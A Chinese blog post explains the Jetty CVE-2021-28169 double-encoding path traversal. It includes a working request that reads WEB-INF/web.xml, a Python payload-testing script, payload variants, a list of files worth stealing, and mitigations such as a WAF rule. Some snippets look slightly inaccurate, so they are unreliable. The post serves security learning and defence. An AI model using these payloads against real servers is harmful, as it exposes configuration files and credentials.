Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件读取
📅 2026/7/8 0:42:59
👁️ 阅读次数
📝 编程学习
Jetty 9.4.40前ConcatServlet漏洞深度解析:双重URL编码绕过与防御实践
1. 漏洞背景与原理剖析
Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器,凭借其高性能和模块化设计,在微服务架构和嵌入式场景中广受欢迎。然而,2021年曝光的CVE-2021-28169漏洞揭示了其核心组件ConcatServlet和WelcomeFilter存在的安全隐患。
漏洞本质源于路径处理过程中的多重解码机制缺陷。当开发者主动启用ConcatServlet(用于合并静态资源)或WelcomeFilter(处理默认欢迎页)时,攻击者可通过精心构造的URL实现WEB-INF目录穿越。具体技术原理如下:
- 双重编码绕过:对关键字符(如
W)进行两次URL编码(%2557),服务器在第一次解码后得到%57(即字母W的编码),第二次解码才还原为原始字符 - 路径校验失效:安全校验层在第一次解码后检查路径合法性,而实际文件操作发生在完全解码后,导致防护被绕过
- 敏感文件泄露:成功利用后可读取
WEB-INF/web.xml等配置文件,进而获取数据库凭证、API密钥等敏感信息
重要提示:该漏洞影响Jetty 9.4.40之前的所有版本、10.0.2之前的10.x系列以及11.0.2之前的11.x系列。
2. 漏洞环境快速搭建
为帮助安全研究人员验证漏洞,我们提供两种环境搭建方案:
2.1 Docker快速部署方案
# 拉取漏洞环境镜像 docker pull vulhub/jetty:9.4.39 # 启动容器(映射8080端口) docker run -d -p 8080:8080 vulhub/jetty:9.4.39 # 验证服务 curl http://localhost:80802.2 手动构建测试环境
若需自定义配置,可参考以下步骤:
依赖安装:
<!-- Maven依赖配置 --> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-servlet</artifactId> <version>9.4.39.v20210325</version> </dependency>Servlet配置示例:
public class VulnerableApp extends WebAppContext { public VulnerableApp() { setResourceBase("src/main/webapp"); setDescriptor("WEB-INF/web.xml"); addServlet(ConcatServlet.class, "/static/*"); } }敏感文件结构:
webapp/ ├── WEB-INF/ │ ├── web.xml # 主配置文件 │ └── classes/ │ └── config.properties # 数据库配置 └── index.html
3. 漏洞利用实战演示
3.1 基础利用方式
通过双重编码构造恶意请求:
GET /static?/%2557EB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080 Accept: */*关键参数说明:
%2557:字母W的双重URL编码(%57 → W)/static:ConcatServlet映射路径(需根据实际配置调整)
3.2 自动化利用脚本
Python实现自动化检测:
import requests from urllib.parse import quote def check_vulnerability(target): payloads = [ "/%2557EB-INF/web.xml", "/%252e%252e/WEB-INF/web.xml", "/static?/%u0057EB-INF/web.xml" ] for payload in payloads: try: r = requests.get(f"{target}{payload}", timeout=5) if 'web-app' in r.text and 'xmlns' in r.text: return True, payload except Exception as e: continue return False, None3.3 敏感文件读取矩阵
成功利用后可获取的文件类型:
| 文件路径 | 敏感信息类型 | 风险等级 |
|---|---|---|
| WEB-INF/web.xml | Servlet配置、过滤器定义 | 高危 |
| WEB-INF/classes/*.properties | 数据库连接字符串、API密钥 | 严重 |
| WEB-INF/lib/*.jar | 自定义类文件、加密逻辑 | 中高危 |
| META-INF/context.xml | 数据源配置、环境变量 | 高危 |
4. 防御方案与最佳实践
4.1 紧急修复方案
版本升级:
- Jetty 9.4.40+
- Jetty 10.0.2+
- Jetty 11.0.2+
临时缓解措施:
<!-- 禁用ConcatServlet --> <init-param> <param-name>allowedPaths</param-name> <param-value>/res/public</param-value> </init-param>4.2 安全加固建议
输入验证强化:
public class SafePathFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; String path = request.getRequestURI(); if (path.contains("WEB-INF") || path.contains("META-INF")) { throw new ServletException("Path traversal attempt detected"); } chain.doFilter(req, res); } }安全配置清单:
- 禁用不必要的Servlet和Filter
- 设置严格的上下文路径限制
- 启用Jetty的
ProtectionDomain安全机制
监控与日志:
# log4j配置示例 appender.console.filter.threshold.type = ThresholdFilter appender.console.filter.threshold.level = WARN logger.jetty.name = org.eclipse.jetty logger.jetty.level = DEBUG
4.3 长期防护体系
建议采用分层防御策略:
网络层:
- WAF规则配置(示例规则):
SecRule REQUEST_URI "@contains %25" \ "id:10001,phase:1,deny,msg:'Double encoding attempt'"
- WAF规则配置(示例规则):
运行时防护:
- 启用Java Security Manager
- 使用RASP解决方案监控异常文件访问
CI/CD集成:
# GitHub Actions安全检查示例 - name: Dependency Check uses: dependency-check/action@v1 with: project: 'Your_Project' format: 'HTML' failOnCVSS: 7
5. 漏洞研究进阶方向
对于希望深入理解漏洞机理的安全研究人员,建议从以下角度展开:
编码差异分析:
- 比较RFC3986与Jetty实现的URI解析差异
- 研究不同中间件对多重编码的处理逻辑
变异Payload测试:
# 编码变异生成器 def generate_payloads(base): encodings = ['%25', '%u00', '..%00'] return [f"/{e}{base}" for e in encodings]历史漏洞关联:
- CVE-2021-28164(初始路径规范化漏洞)
- CVE-2021-34429(修复绕过变种)
在实际渗透测试中,我曾遇到一个典型案例:某金融系统因使用旧版Jetty导致客户数据泄露。通过双重编码绕过,我们成功获取了数据库配置,进而发现整个集群存在横向渗透风险。这个教训表明,中间件漏洞的影响往往远超表面所见。
编程学习
技术分享
实战经验